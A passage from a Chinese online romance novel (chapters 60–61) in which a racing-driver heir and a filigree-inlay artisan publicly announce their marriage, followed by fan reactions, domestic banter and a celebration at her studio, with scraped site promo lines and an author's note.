而车牌号“京A·U0831”,稍微在京圈混的就能知道这固定的系列车牌,这属于京圈傅家的那位爷,明恒集团的未来继承人。
这男人竟然是傅蔺征?!!
傅蔺征在网上虽然低调,更多只投入事业,但他的颜值早已在赛车界与时尚圈传开,了解赛车的都知道他,作为国内首位拿下F1世界冠军赛车手、明恒集团的太子爷,他向来不缺关注度。
车迷粉丝们闻声纷纷前来,一眼就认出这就是傅蔺征,他的车,他的腕表,和身高外形气场,确认是他无疑。
等等——那他亲的人是谁?!!
一时间,#明恒太子爷在布加迪前拥吻神秘女子#飞快登上热搜,全网**。
这照片氛围感太绝了,网友们全都疯了:
【救命,这吻好好磕啊!明恒太子爷和他的小公主,有哪个太太来产粮!】
【天呐傅蔺征也太帅了,比好多男明星都顶,而且他妹妹是霓音啊!】
【这兄妹俩颜值太权威了吧!】
【去查了下傅蔺征的履历,好牛逼,有实力又有颜,这不比内娱那些演技一言难尽的哥哥们好磕?】
【我直接垂直入坑了,求他的比赛视频!】
【我是他的女友粉,心碎了,他谈恋爱了吗,不是去年还说单身吗?】
【看不清女生的脸,但是感觉好有气质。】
【所以这女的是谁啊?!!!就没人知道吗?】
全网都在好奇这女人是谁,直至突然有个网友发了一句话:【这女的,好像容微月……?】
网上有许多人还不认识容微月,但也有不少人立刻出来科普,说她是一家花丝镶嵌非遗工作室的老板,在微博拥有两百多万粉丝,经常直播制作饰品。
很快有人在直播回放中看她身上穿了照片里一样的水蓝色古典旗袍,一时间全网热议,把事情推上更高的热度:
【感觉这个小姐姐好有气质,说话温温柔柔的,我还以为是哪个女明星,没想到是非遗传承人,太厉害了。】
【把他们的脸放在一起,这对颜值真的爆表啊啊啊,更好嗑了。】
【这个姐姐我好喜欢,之前看过她直播,她手艺很好而且人真的很温柔,有黑子来直播间,她都不生气的,就一个好干净好美好的女孩子啊。】
【一个是赛车手,一个是花丝镶嵌美人,这个设定我先磕为敬!】
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
第 60 章 “刚刚回来没收拾够你?”...
第60章第六十章
【“刚刚回来没收拾够你?”】
chapter60
傅蔺征发博十分钟后#傅蔺征晒结婚照官宣太太#这一话题迅速窜上热搜榜首阅读量突破千万直接在全网**。
网友们没想到傅蔺征这么快出来回应而且容微月不是他的女友而是太太。
各大营销号一窝蜂转发评论区瞬间爆了:
【哈哈哈年度爽文!之前嘲笑女方靠脸靠身子蹭热度的人呢?人家转头晒结婚证了打不打脸啊?来来来谁说要吃鲱鱼罐头的!】
【啊啊啊今晚看到图片的时候就觉得好磕没想到原来是夫妻这糖更甜了!!傅蔺征霸气护妻啊征月cp是真的!】
【如果真想炒作明明可以让事情可以再发酵发酵有结婚证反转是必然的到时候热度还能更高但傅蔺征这么快就官宣了就是不想让老婆受委屈太宠了吧!】
【从校服到婚纱从初恋到太太我以为豪门结婚只有利益
【一见钟情喜欢七年遗嘱上唯一的名字原则是太太开心第一这是有多爱啊!】
就在全网被傅蔺征的官宣微博惹得热火朝天的时候很快大家就看到容微月的个人微博也更新了。
她发了一张照片是她前段时间拍的晚上光线柔软的客厅里两人窝在沙发上她一身芋泥紫色针织毛衣脸颊泛着淡淡红晕染上笑意的眸子浅弯成一个月牙傅蔺征一身慵懒黑色毛衣长臂环着她低头看她的眼里是藏匿不住的爱意。
呼呼乖巧地趴在俩人中间白乎乎的像团奶泡画面温馨得让人心都软了。
她配了段话:【介绍一下@傅蔺征我的先生我的初恋也是我十八岁遇到的此生唯一的挚爱虽然有过分离但庆幸我们仍旧相爱我不在乎流言蜚语如何我只知道我们会一辈子在一起他是我最耀眼的太阳我永远爱他。】
容微月的回应很快也被顶上了热搜许多网友看到她坚定的回应打脸了黑子支持她的勇敢也被他们真挚的感情打动。
紧接着明恒集团的官博也出来维护和认证两人的婚事还有霓映枝所代表的傅家和容家经营的首饰品牌云琢也发博力挺两个孩子。
当红女星霓音也第一时间站出来晒了张高中和容微月的照片配文:【@容微月我超级超级好的嫂子呀从高中开始就觉得她温柔善良又漂亮是我心里闪闪发光的知心姐姐!我哥超爱她我们全家也爱她希望哥哥嫂嫂一辈子幸福~】
网友们没见过这么庞大的阵营也很
听说看这本书的人都是很幸运的,分享后你的运气会更棒
激动:【多方站出来力挺,这波打脸直接拉满了!】
【音音宝贝的话好真诚啊,美好的人就会吸引美好的人,两个女孩子的友谊也好好磕。】
【理智粉来讲一句,傅蔺征是赛车手,不是爱豆,他结婚谈恋爱是他的自由,他有自己的人生和婚姻,请不要拿追星那一套**他好吗。】
【对对对,车迷觉得傅蔺征这种很有担当,爱老婆的赛车手更帅了啊啊!】
【没想到傅蔺征这么快结婚了,还是有点心碎,但俩人好般配,祝99!】
随后,也有许多傅蔺征和容微月的高中同学,甚至是澜高的校友们也出来评论,大家都证实俩人说的是真的,而且他俩从学生时代就特别出众,是当之无愧的金童玉女,教过他们的老师和后来的学生说起两人时,脸上都是满满的骄傲。
有人讲起他们的故事,有人晒出高中的照片,甚至还有人拍了那栋以他们名字为命名的征月楼,有些半信半疑的网友们,这下彻底信了。
有网友也翻出了前两天容微月在俄罗斯工艺展会的采访,又有人翻到去年上半年央媒对她的专访,称她为“坚守本心的最美非遗艺人,随着大家深入挖掘,大家才知道霓音那句“闪闪发光的含金量。
底下的评论区风向也彻底逆转:
【好厉害的女孩子啊,年纪轻轻开工作室,传承非遗文化,读书好成绩好,太厉害了。】
【容微月好有气质,穿旗袍讲花丝镶嵌的时候超有文化自信!真是我们中国美的代表。】
【啊啊啊,就觉得耳熟,原来是我学姐!她大学的时候拿过很多奖,中国美院的校史馆里还有收藏她的作品,我们老师一直拿她做典范。】
【容微月原来是云琢的继承人啊,家里有钱还出来自己打拼,不靠脸吃饭非要靠实力。】
【黑子在背后敲键盘的时候,人家已经在国外传扬中国的非遗文化了,太搞笑了。】
【谁懂,我羡慕的是傅蔺征,看她采访我完全听不进去内容,全程只盯着她,太好看了,想喊一声老婆!】
【黑子的脸今晚被打烂了,人家全方位优秀,还真是京圈豪门阔太太,你说气不气人。】
没多久有人创建了“征月CP超话,短短几个小时关注人数飙升,虽然还会有些负面的声音,但是大部分人都很喜欢他们。
此刻卧室里,容微月抱着呼呼窝在沙发看手机,一身奶油白睡裙,头轻轻枕在小家伙毛茸茸的脑袋上,杏眸撒着弯弯笑意,可爱得像个软蛋糕。
傅蔺征给她热好牛奶,推门进来,坐到她旁边:“笑什么这么开心?
容微月靠在他怀中,接过牛奶,弯眉浅笑:
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“在看网友们的评论,很多人还是很祝福我们的,说我们很般配,还是有点开心。”
傅蔺征挑起眉梢,拖腔带调感慨:“结局我都意料到了,谁能有我俩更般配,而且我们这颜值摆在那儿,赏心悦目的程度至少也是天花板级别呢。”
容微月喝着牛奶,笑着揉揉呼呼脑袋,“呼呼你看,你爸爸又开始自恋了。”
傅蔺征冷拓痞帅的面容挑起笑意,把她捞进怀中,“怎么,老子说的不是实话?”
她莞尔点头附和,傅蔺征握住她手,摩挲着她的月亮钻戒,黑眸炽热温柔:“网络上什么人都会有,也会出现不好听的评价,如果看到不用在意,我们的生活是过给自己看的,知道么?”
容微月闻言心间泛起暖意,点点头,傅蔺征很了解她的性格,知道她容易多想,总是提前劝慰她。
容微月喝完牛奶,起身去刷牙洗脸,傅蔺征把杯子拿去餐厅后回来,就看到呼呼还趴在浴室门口,咬着骨头玩偶打滚等麻麻出来。
他无语把它拎起来,轻嗤:“傅呼呼你够了啊,一天到晚就知道黏着我老婆,现在几点了不知道?赶紧出去,别当电灯泡。”
呼呼:……
小团子呜哼着轻轻咬了他口,黑咕隆咚的眼睛透着委屈,小耳朵耷拉着,尾巴小幅度摇着打他手,像在**。
傅蔺征揶揄:“不服什么?我等了六年才把你妈追回来,要没我,你还想过上爹疼娘爱的生活?”
呼呼用肉爪子拍它手一下,转头扭开脑袋不看他。
明明是爹嫌娘爱的生活……
傅蔺征毫不留情,把呼呼放到卧室外,关上门,洗漱好的小姑娘走过来,黑发散落在睡裙肩头,笑颜浅绽:“傅蔺征,你说你怎么一天到晚和呼呼吃醋,幼稚鬼。”
男人伸手把她揽过来,把娇小的人儿困在胸膛和臂弯之间,垂眼睨她,黑眸暗念翻滚:“再说一句?刚刚回来没收拾够?”
她笑嗔他就知道用这个来威胁,眨着眸子:“还有,什么叫‘没有你’?如果我没记错的话,某些人当初是利用呼呼才把我哄骗住进来的吧?你明明是父凭子贵。”
“……”
傅蔺征懒嗤,“我把它一把屎一把尿养大,给他伺候得珠圆玉润,关键时候它不得好好回报它爹?”
容微月哦了声,笑笑:“那还不是父凭子贵,没它你肯定没这么快有老婆。”
傅蔺征被她气笑,把她一把扛了起来,把她丢到床上,倾身把她困住,浑身张力拉满:“容微月,你说话慎重点,要没有呼呼你就不爱我了?”
她眸光洒满笑意,也倒映着他:“怎么可能,如果没有呼呼,我可能当时会再犹豫犹豫
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
要不要租你这个房子,但我心底的潜意识肯定是忍不住向你靠近。”
六年过去,他们还是是彼此的万有引力。
“所以我爱呼呼,更爱你哦。”她弯唇圈住他脖子,“怎么样,这个答案还满意吗?”
傅蔺征闻言,压下唇角弧度,淡淡言:“勉强合格吧,以后多说。”
她才不说呢,要给这人哄上天了那还得了……
两人靠在床头,傅蔺征拿出手机,回复着今晚的信息,早些时候傅司盛和霓映枝还特意打电话来安抚容微月,让她不要担心,网络上的事情他们会处理,她很感动,盛柳和容承业也来问她的情况,家里也会竭尽全力支持她。
还有七人小群里,今晚替他俩又是激动又是担忧,看到了傅蔺征直球的官宣,又觉得痛快。
夏千棠:【傅蔺征好样的,这段话太帅了,你!是!我!的!神!】
殷绿:【哈哈哈+1!!我今晚看到月月被骂还急得不行,湖安就安慰我说你放心吧,全世界最见不得月月受委屈的就是傅蔺征了。】
夏斯礼:【啧啧啧,要我说各位你们还是不够了解傅蔺征这狗,他护着微月是一方面,另一方面他这是憋了好久了,想秀恩爱看不出来?!他就等着全网官宣呢!!你们信不信他那段话背地里都打草稿反复打磨好久了?哪有低调的时候!】
大家笑,【果然,还得是夏斯礼了解。】
傅蔺征看到扯唇回复:【这算高调?就这两段话还不足以表达我对月月的喜欢,到时候婚礼誓词上继续说。】
几人:【???踢出去踢出去!!还在秀!】
付则承:【我觉得阿征现在最嘚瑟的不是他能官宣,而是微月的回应,完了,估计这小子晚上睡觉都得笑醒。】
湖安:【在天上都能打到他尾巴!】
夏斯礼痛心疾首:【@容微月,月月,你能不能莫名其妙打阿征一下啊?别再让这人尝到甜头了,就没见过这么臭屁的!】
付则承:【别打,微月手都是香的,到时候还给他打爽了。】
朋友笑翻了,容微月看着信息,眼睛弯成月牙,看向身旁的人,打趣:“看到没有,大家都看出来了,今晚官宣你这是顺势而为。”
傅蔺征舌尖抵了抵上颚,慵懒道:“我是那种高调的人吗?被拍到了就要澄清,这不是正常操作?我也就是公事公办而已。”
容微月笑:“傅蔺征,可看你的表情你明明很嘚瑟。”
男人倾身过来咬她耳垂:“容微月,你能不能讲点良心?老子孤家寡人等你六年,好不容易跟你重逢,结婚的甜头还尝了不到三个月,我现在还不能嘚瑟一下?”
容微月忍俊不禁
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,心底柔软得一塌糊涂,知道他再开心也是因为爱她,“没事,当然可以嘚瑟,我不就是你的吗?
傅蔺征唇角扬起,指腹摩挲她的脸颊:“不过我没想到今晚你会发那条微博。
“为什么没想到?
“本来我这边官宣就好了,你不是一直不好意思?
容微月眸光温软:“一开始我是有点,但你都发了那条微博,那么坚定地表达对我的喜欢,我肯定也不能退缩呀。
她说曾经那次小提琴比赛上的事,给她留下了阴影,外界的评价让她一直自卑于自己和傅蔺征之间客观存在的差距,但六年过去,她应该要成长了,何况傅蔺征在这六年还为她付出了那么多。
“不管外界怎么说,我也想要告诉全世界,我很爱你,我也要坚定不移地选择你,因为我的阿征最好了。小姑娘捧着一颗心盈盈看他。
傅蔺征闻言眼底炙热,低头忍不住亲她,半晌一吻结束,容微月不禁弯眉:“怎么样,看到我那样发,偷着乐呢?
男人压下唇角,淡淡道:“还行吧,意料之中,你现在对我怎么告白,我也**以为常了。
“哦,那我现在去删掉。
“你敢删?他掐住她腰肢,黑眸灼灼,声音低哑里带着沉沉的危险,“删了就不让你下床。
她笑,“叫你还装……
闹腾了一阵,容微月到底是舟车劳顿了一天,刚刚回来又运动一波,没多久就窝在他怀中睡着了,傅蔺征也没缠着她再来。
窗外夜深露重,半夜一点多,漆黑的房间里,男人仍旧没睡,一遍又一遍看着小姑娘发的那条微博和底下许多的祝福评论。
他把那些内容全部截图下来,点开手机隐藏空间,放入里头的相册:【宝宝爱我的证明】。
隐藏空间里,屏幕是容微月的照片,相册里全是他们曾经的照片,还有六年前就开了的和她在一起多少天的统计,一直到现在都没关掉。
反复又看了几眼,几乎已经会背了,他凝望怀中小姑娘温柔的睡颜,片刻后下了床,走到书桌前,点亮台灯,拿过个本子。
他转了转笔,
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慵懒却又遒劲地提起,把小姑娘的微博内容写下来,而后拿起纸和红印泥走到床边,开了一盏小小的床头灯,把人轻柔捞进怀中。
容微月半睡半醒眯眼,“你怎么还不睡……
傅蔺征难得幼稚:“宝宝,你读一下这段话,然后签个名字,盖个手印,我得存档。
容微月:???
她困得眼睛都睁不开,迷糊地嘟囔:“读什么……
“就你今晚发在微博的,读一下,嗯?
这**半夜不睡觉在抽什么疯,困
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
得咕哝说才不读,他亲她耳垂,打开手机录音,浑坏低哄:“或者宝宝,我读一句你跟一句?——‘介绍一下,傅蔺征,我的先生,我的初恋,也是我十八岁遇到的此生唯一的挚爱’。”
她迷迷糊糊抱住他脖子,软声咕哝:“介绍一下,傅蔺征,我的笨蛋,我的狗狗,也是我十八岁遇到最臭屁最嘚瑟的人。”
“……”他喉结一紧,咬了下她耳朵,低笑,“宝宝,认真点,不认真我去拿套了。”
讨厌死这个坏蛋了,她闭着眼睛,困倦的嗓音甜糯得让人心都酥了,软软开口:“介绍一下,傅蔺征,我的先生,我的初恋,我十八岁遇到的此生唯一的挚爱……”
“我不在乎流言蜚语如何,我只知道我们会一辈子在一起。”
“我不在乎流言蜚语如何,我只知道我们会一辈子在一起……”
“他是我最耀眼的太阳,我永远爱他。”
“他是我最耀眼的太阳,我永远爱他呀……”
操,怎么这么乖啊。
男人眼底暗光翻涌,亲了亲她脸颊,把笔放到她手中,“宝宝,还要签名,盖手印。”
???这人到底有完没完!
她困顿得被哄着,最后在纸张上画了个小小的弯月,又懒洋洋地伸出大拇指摁下个小红印,傅蔺征关掉录音,勾唇揉揉她头:“好了,存档完成,宝宝可以继续睡了。”
“……”
容微月无语地踹了他一脚,让他滚下床。
傅蔺征走去书桌前,拍照下来,最后把它和一沓当初洗出来的合影一起锁进抽屉。
这些太重,不然都该和结婚证一样,随时携带。
一夜过去,第二天早上。
容微月醒来,迷迷糊糊地回想起昨晚的事,呆呆举手,看了看自己的大拇指。
干干净净的。
诶,她做梦了吗OvO……
洗漱完,她走去餐厅,傅蔺征正在厨房,一身居家的灰白色家居服,肩背衬得线条利落,袖口挽起露出精壮的腕骨,个子极高,室外的日光打在他分明的侧脸上,平添几分慵懒随意。
他刚做好三明治,抬眼看到她,“醒了?过来吃早餐。”
她呆呆地走过去,被他牵着坐到餐桌前坐下,脑袋强制开机:“傅蔺征,昨晚你几点睡的……”
他神色慵懒给她倒牛奶,“挺早的,怎么?”
“我怎么记得你昨晚半夜三更哄我跟你告白,还让我按手印了……”
男人懒懒拖腔:“没有啊,你做梦了吧?你要自己想告白就直说。”
容微月狐疑:“?我记得是你哄我念的……”
傅蔺征悠悠然喝着牛奶,嗓音拖腔带调:“我是那么幼稚的人么?而且
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我脸皮向来很薄,夸我两句都会红的,怎么能承受得了这种令人害臊的事?”
容微月:“……?”
〓作者有话说〓
[狗头][狗头]傅蔺征,你自己听听你讲这句话好笑吗
微月:可劲儿欺负我是吧[化了]
-
266个前排红包,哈哈哈大家周末愉快,明天不更新,下一次更新在周日凌晨0点,大家也可以等睡醒了看[垂耳兔头]
推荐一个友友的完结文呐,喜欢先婚后爱可以去看看~《炽夜》
京圈内无人不知,却家有一独女,单名盏。
这位祖宗生得一双百媚眼、一抹纤巧腰,美貌与身材皆风情。她盛颜惊世,内里却是个又野又飒的主儿,仗着家族宠爱一袭反骨纵身,生性自由,没人管得了。
万千追求者想成为她的裙下臣,可谁也没有机会。
她声名令人望畏,向来看不上那些男人花里胡哨的小手段,艳眸睥睨,丢一句:“你配吗?”
直到不久后,某场发布会宣称却家与谢家联姻的消息。好友得知此事,一脸八卦地问她婚后生活甜不甜,却盏一副玩味模样,嗤了声:“谁跟他有感情,字面意义上的协议结婚。”
但不料,一转身对上自己丈夫的视线。
周遭灯影迷离,晦暗如墨,可她还是看清了他眼底透露的不屑,“挺有能耐。”
2.
谢家大少爷谢弦深位高权重,名利场上行事淡漠阴狠,对谁都不心软。
听闻他不染俗欲,眼中只有利,而无情。在外人看来,那场集团联姻不过是为世家资本铺路,可只有谢弦深自己知道,感情一旦陷进去,就再也回不了头。
觥筹交错的酒会场,一行纨绔子弟打着交友的名义让却盏喝酒,她弯唇假笑,正想该如何教训他们,肩侧倏然多了处温热,与之而来的是男人身上浅淡清冽的檀木香。
她抬眸,是谢弦深。
那杯红酒沾湿了地面,玻璃碎了一地。男人神色渗着轻蔑,慢条斯理地开口,字句间维护意图明显:“酒太次,配不上我太太。”
她是最好的,也值得最好的。
3.
深秋末节下了一场雨,寒意弥漫。
别墅里,却盏被人圈在小片区域,她眼尾浸绯,想也没想在对方颈侧咬下一记深痕,软柔的声线溢出娇嗔:“谢弦深,你混蛋……”
音落,他将她翻了个身。
“刚才答应得挺好,现在反悔了?”男人宽阔的胸膛与她的薄背紧紧相贴,反手掐着她细颈,镜中的他深情满腔,同时也藏了偏执。
“盏盏,睁眼看清楚,谁最爱你。”
那晚的夜,甚于炽火。
-仅此你这盏烈酒,动我心弦。
注:
1.强强双A,谁也不服谁,1v1/SC/HE,双C双初恋。
2.双豪门,不破产。
3.男主先动心。
4.架空,有私设。
第 61 章 “宝宝,我会很想你。”...
第61章第六十一章
【“宝宝我会很想你。”】
chapter61
容微月:“……”
他什么时候和脸皮薄这个词沾过边了?
傅蔺征慵懒吃着三明治小姑娘抿了口牛奶脑袋晕乎乎转了会儿噢了声:“那可能是我做梦了那个梦还挺真的你像只赖皮狗似的。”
“……?”
傅蔺征气笑“谁像赖皮狗?”
她弯眉软声道:“狗狗像赖皮狗呀。”
没见过这么调皮的傅蔺征勾唇把她抓过来灼热的气息覆下咬住她的红唇汲取甘甜她被惹得面红耳赤羞赧哼唧:“傅蔺征我错了……”
“再调皮就把你抓回房间去”他哑声道“昨晚就一次没做够?”
她不禁笑了眉眼亮亮:“你不是说我做了梦吗既然是梦你那么在意干什么?”
傅蔺征轻咳了声“在梦里你也不能诋毁我。”
“哼……”
本来就是赖皮狗。
末了容微月没找到确切证据对此半信半疑早餐后傅蔺征收拾好餐桌转身去客厅给呼呼的饮水机添水穿着小熊服的小团子蹦跶过来蹭了蹭他脚边。
小团子白绒绒的脖子上挂着小铃铛像个香草味雪糕。
傅蔺征俯身摸摸它的头暂时结束了昨晚互相嫌弃的状态
呼呼哼哼两声小熊耳朵蹭蹭他手心难得乖巧。
容微月从房间走出来笑笑:“呼呼乖乖在家里照顾好自己哦妈妈也要出去给你赚钱买冻干啦。”
傅蔺征轻嗤拿着围巾手套和毛绒帽子叫另外这只说话的小熊:“过来戴围巾脖子光溜溜的还操心别人?”
容微月乖乖走过来傅蔺征把奶棕色的羊绒围巾圈在她脖子上:“一天天伺候完小的伺候大的没一个让人省心。”
她脸颊埋进围巾里眉眼弯弯“那还不是你非要伺候?而且你多幸福呀年纪轻轻就过上猫狗双全的生活了。”
容微月鼻尖挺翘红唇齿白眸光盈澄如月精致的五官透着软糯像只小布偶猫。
傅蔺征勾唇拿出手套:“小猫伸爪子。”
她伸出手他给她套好手套和帽子真的像只毛茸茸的小熊她顺势钻入他怀中男人俯身看她眼底晕开笑意:“怎么这么可爱啊宝宝。”
“怎么可爱不感兴趣亲一口吗?”她弯眸。
傅蔺征哪里能拒绝得了扣住她后脑勺温柔又带点缠的吻落下把人抵在料理台前惹得晕头转向半晌他微喘沉
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
沉,声线低哑:
“宝宝,我们推迟半个小时上班好不好?
??
这人真是随时随地都想,而且半个小时他哪里能……
她脸红强压着乱乱的心,嗔他:“不行,你别胡闹……
他俯身咬她耳垂,“那今晚早点回家,一回家就炒菜,嗯?
她耳朵通红,害羞咕哝:“那看你今天表现。
闹够后,两人还是一起出了门,傅蔺征开着超跑送她去上班,到门口两人吻别,男人蹙眉哑声道:“宝宝,我还是好…,怎么办。
车里空气都是小姑娘甜甜的青橘清香,手刹拉了一路了,也按不下去。
她看过去,他长腿桀骜微敞,穿着宽松的工装裤,没见过坏得这么明目张胆的,“我才不管你呢……
他把她抓过来,在她被黑发挡住的耳侧亲得留下个绯红,她气鼓鼓,“被别人看到了。
他指腹浑坏摩挲:“看到了又怎样,现在不是都知道是我留下的?要不你也给我留一个?
容微月打他,“才不要。
他要真顶着个草莓去车场,不知道能在车队成员面前嘚瑟成什么样。
容微月推开他的亲亲,“不闹了,我真要上班了。
从车里逃走,她和他挥了挥手,看着男人^求不满的样子,笑意盈盈理了理围巾,走去工作室。
刚一进门,员工们就蜂拥过来,兴奋得嗷嗷直叫,说昨晚都在微博热搜刷到了消息,简直太震撼了。
谁也没想到,这段时间常常给他们投喂下午茶甜品的神秘大佬竟然是明恒太子爷傅蔺征,男人外形身高都能和男星相比,身价地位也是千亿级别的顶尖人物,还是全球驰名的赛车手。
果然如之前舒槿所形容的,前面来追求容微月的男士在他面前,全都不值一提。
开晨会时,会议室里还在热烈讨论着:“微月姐你还说是男朋友,其实明明是老公,也太低调了!
“我现在也是征月CP的一员!昨晚在超话磕到了十二点多。
“我们不用超话,可以线下直接磕啊!
“微月姐,有空多和我们讲讲你和傅总的爱情故事好不好?一定很甜蜜。
容微月不禁笑,说故事以后再和他们说:“你们现在可没时间磕cp,这次和漆画联名的饰品反响特别好,接下来大家都要打起精神。
市场部员工汇报说,不止是联名饰品,昨晚容微月和傅蔺征婚事爆出后,他们晴月阁的热度瞬间飙升,光一个晚上,店铺成交金额达到了前两个月的总和,而且这次和俄罗斯联合饰品成功后,有很多饰品公司和影视公司都来寻求合作。
好消息是,他们不缺钱了
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
。
坏消息是,要忙坏了。
容微月叮嘱大家,无论怎样保质保量、诚信合作的宗旨不能舍弃,一定要守住晴月阁的口碑。
她如掌舵者般沉稳冷静,很快分析清楚目前的情况,做出规划,下达任务,让每个人都知道现阶段要做什么,不至于头脑混乱。
开完会后,盛柳和容承业也打来电话,问她今天的情况,容微月说一切都好,盛柳感叹:“昨晚你和阿征发的微博我们都看到了,看到阿征说那段话,爸爸妈妈都很感动。
他们也更加愧疚当初没有了解清楚傅蔺征就对他有那么多偏见,差点害了女儿错失了对的人。
容承业声音里带着愧疚,道:“月月,爸爸也要再和你道个歉,这几天看到你在俄罗斯的那些采访,你把花丝镶嵌带向世界,之前我不该那么说你,你的优秀是你从小到大的努力和坚持换来的,我和你妈妈都为你感到骄傲。
这是这么多年来,她第一次听到来自父亲直白的夸赞,容微月杏眸泛开波澜,鼻尖微酸,垂眸应了声。
容承业如今不再催她回来继承云琢,一切全凭她心意,他说不知道能帮助女儿什么,猜到她工作室目前订单激增,估计要高负荷运转,就给她送来几套先进设备,如果还缺员工,家里也能提供。
容微月考虑到工作室,最后答应了。
一日的时间转眼而过,夜幕降临,大家都忙得差不多准备离开,忽而,外头传来一阵炸耳的引擎声,如同猛兽发出咆哮。
随即,一辆黑色的帕加尼HuayraRoadsterBC高调驶入视野,碳纤维车身在夜色下泛着冷冽光泽,车头低得几乎贴地,如黑豹匍匐。
沿着车身延展的暗红色线条宛若燃烧的火焰,将轮廓勾勒得张扬至极,尾翼高高翘起,展开羽翼,整辆车气场拉风到炸裂。
“**这超跑好帅啊!!
“HuayraRoadsterBC,三千万啊!!
“是哪个京圈顶级的太子爷来炸街了啊,帅疯了!
“诶,是不是傅总啊?微月姐,是傅总来接你了吗?
伴随着众人的惊呼,超跑停在路边,剪刀门缓缓掀起,傅蔺征下了车,一身灰黑色夹克,短发利落,剑眉锐目的五官显现强大的气场,如穿过严寒而来,怀中抱着一捧淡粉的戴安娜玫瑰。
男人掀起黑眸朝容微月落来,唇角勾起,眼底像冰雪遇到春季,瞬间柔软下来。
他踏步走来,容微月愣了愣,羞涩朝他而去:“你怎么来了……
傅蔺征把花递去,搂住小姑娘,嗓音拽懒:“官宣了以后不是可以光明正大了?我当然要来接我的公
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
主回家。”
她眼眶微热,杏眸弯起,傅蔺征揉揉她的脸,炽热看她:“以后我天天来接宝贝回家。”
现在她不再是一个人了,她有他,有了他们的家。
容微月心间烘软,莞尔点头,后方也传来员工们起哄的声音,直呼好甜。
她羞赧,傅蔺征却格外气定神闲:“怎么,不带你老公去和他们打个招呼?”
容微月牵着他走过去,给员工们介绍,傅蔺唇看向他们:“你们好,我是月月的先生,傅蔺征。”
大家近距离看到傅蔺征,被这张太过权威的帅到在心底疯狂尖叫:“傅总好!”
“微月姐,你和傅总好配啊,天作之合!”
“对啊,傅总你和月月站在一起氛围感就拉满了!”
大家激动磕糖的心溢于言表,傅蔺征垂眼看向怀中的小姑娘,眉梢挑起:“谢谢大家,虽然你们说的都是实话。”
大家直笑,傅蔺征说他们工作一天辛苦了,订好了餐厅今晚请大家吃饭,众人闻言都欢喜坏了。
把地址发给他们,大家先过去,傅蔺征牵着容微月上车,看到帕加尼的车牌变成了“京A·R1105”,她诧异:“你换车牌了?”
“嗯,现在更喜欢这四个数字。”
“1105……什么意思?”
傅蔺征眯眼轻捏她脸,“容微月,你是又要复习结婚证了是吧?1105你不知道什么意思?”
她失笑,“逗你的,我当然记得,我们的结婚纪念日嘛,那之前的0831呢?”
傅蔺征看着她,黑眸灼灼,低声道:“8月31号,第一次遇到你的那天。”
高三那年开学前的那晚,她闯入了他的世界,也是他对她一见钟情的那一天。
容微月心里已然猜到了,可还是心底泛起柔意,弯起红唇:“0831,也是你来到我世界的日子。”
晚上,傅蔺征安排的是京市人均五千的顶级Omakase,餐厅老板认识傅蔺征,都准备得是顶好的食材,傅蔺征向来大方,这点钱对他来说不算什么。
傅蔺征很尊重每一个员工,在聊天中也能自如地和他们谈起花丝镶嵌和手工艺行业,加之多年来家庭对他培养,他的见识与谈吐皆不凡,举手投足间的贵公子哥气质让人折服。
一顿饭下来,所有人都被傅蔺征的人格魅力震撼,也被他对容微月无时无刻的宠溺甜得不行,成为征月CP的忠实拥护者。
饭后散场,往停车场走去,容微月含笑看向傅蔺征:“你真的太会了,一顿饭就把我工作室的所有员工都收买了,大家都说好喜欢你。”
傅蔺征吊儿郎当感叹:“没办法,个人魅力摆在那儿,从小到
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
大都招人喜欢,第一次追人还直接追成了老婆。”
容微月失笑:“傅蔺征你正经的时候真的能骗所有的人,还好他们没看到你这么臭屁的样子。”
男人臂弯收紧揽住她,低沉嗓音压在她耳畔:
“在外人面前正经点,不正经的那面不是只在你面前?”
反正他什么样她都见过。
她脸红靠在他怀中,傅蔺征开了门,护她上了车,给她系上安全带,容微月看他一言不发的模样,“你干嘛那么着急……”
“回家而已,你紧张什么?”
她怎么感觉这么害怕呢QAQ……
-
禾盛庭下了场雷阵雨,预警发布时间从半夜到清晨。
容微月算是知道了,这辈子她吃得最大的“苦”,就是遇到傅蔺征,他带他看过月亮,早晨起来还要看日出。
她第二天都没力出门去工作室,气鼓鼓得不行,让他接下来老实了几天,容微月忙碌着工作室的事,一边引进新设备,一边在看新的工作室地址,打算年后扩招。
一周后,晴月阁和Polaris漆画厂联名的饰品在国内电商平台上线,这次他们做了两种系列,分别为价格稍贵的轻奢款和性价比突出的平价款,为的是让更多人了解到花丝镶嵌的美。
上线仅一天,六千件货品就全部预售售罄,许多工艺博主自发宣传着,口碑一路攀升,晴月阁的名字彻底被打响。
时间过得很快,在年前,傅蔺征在沪市还有最后一次为期一周的训练,结束后就可以放年假了。
出发那天早晨,傅蔺征收拾好行李,走出卧室,看向厨房里容微月正在研究甜品,呼呼规规矩矩蹲在料理台上陪着她。
傅蔺征走过去,从背后把小姑娘圈在怀中,“宝宝,我要走了。”
容微月打着奶油,哦了声:“行,慢走。”
“?”
没有亲亲也没有撒娇?
傅蔺征脸黑:“容微月,你几个意思?我走了不想我?”
她傲娇笑:“才七天而已,想什么想。”
傅蔺征脸黑,拽懒视线落向料理台上的小家伙:“傅呼呼,你会不会想你爹?”
呼呼扑了扑小耳朵,歪着脑袋看向傅蔺征,眼睛圆溜溜的,尾巴悠哉地一甩一甩。
天天欺负我,**嘛还要想你,你走了我就能和妈妈单独贴贴咯。
傅蔺征:“……”
他气笑舔舔唇,松开手推着行李往外走,“行,你们母子俩过,我纯粹多余呗,老子今年在外地流浪,过年不用煮我的饭。”
这人还演上离家出走了……
容微月追上去,一头钻入他怀中,琥珀眸子盈满笑意:“傅蔺征,你怎么那么幼稚?
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
”
他掐住她腰肢俯身气息逼问:“你都有好几天看不到我了还说不想我?”
容微月脸颊红成苹果羞嗔他:“你昨晚都哄我说多少遍了……”
傅蔺征让她和他撒娇黏在怀中亲亲还缠着她在影音厅在卧室在浴室闹个没完问她想不想他说了实话就被他…得更凶还美名其曰说多喂她点怕她这几天会饿就没见过这么无赖的……
